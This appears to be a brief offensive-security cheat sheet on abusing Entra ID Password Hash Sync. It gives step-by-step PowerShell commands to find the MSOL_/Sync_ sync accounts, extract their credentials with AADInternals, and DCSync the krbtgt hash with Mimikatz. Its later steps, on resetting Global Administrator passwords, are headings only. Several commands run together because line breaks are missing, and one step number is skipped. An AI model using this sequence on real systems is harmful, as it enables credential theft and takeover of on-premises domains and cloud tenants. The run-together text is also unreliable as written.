Password Hash Sync Abuse
Steps
1) Enumerate Entra ID Installation Server (Run this On-Premises)
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl2) Enumerate Entra ID Installation Server (Run this on Azure)
Import-Module .\AzureAD.psd1
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}3) Extract credentials from the server
Import-Module .\AADInternals.psd1
Get-AADIntSyncCredentials4) DCSync with MSOL_* account credentials
runas /netonly /user:<DOMAIN>\MSOL_<ID> cmdInvoke-Mimikatz -Command '"lsadump::dcsync/user:<DOMAIN>\krbtgt /domain:<DOMAIN> /dc:<DC NAME>"'Reset Password of any user (Including Global Administrators)
6) Enumerate Global Admins
7) Get the ImmutableID
8) Reset the Azure password
9) Reset password for Cloud-only user
Last updated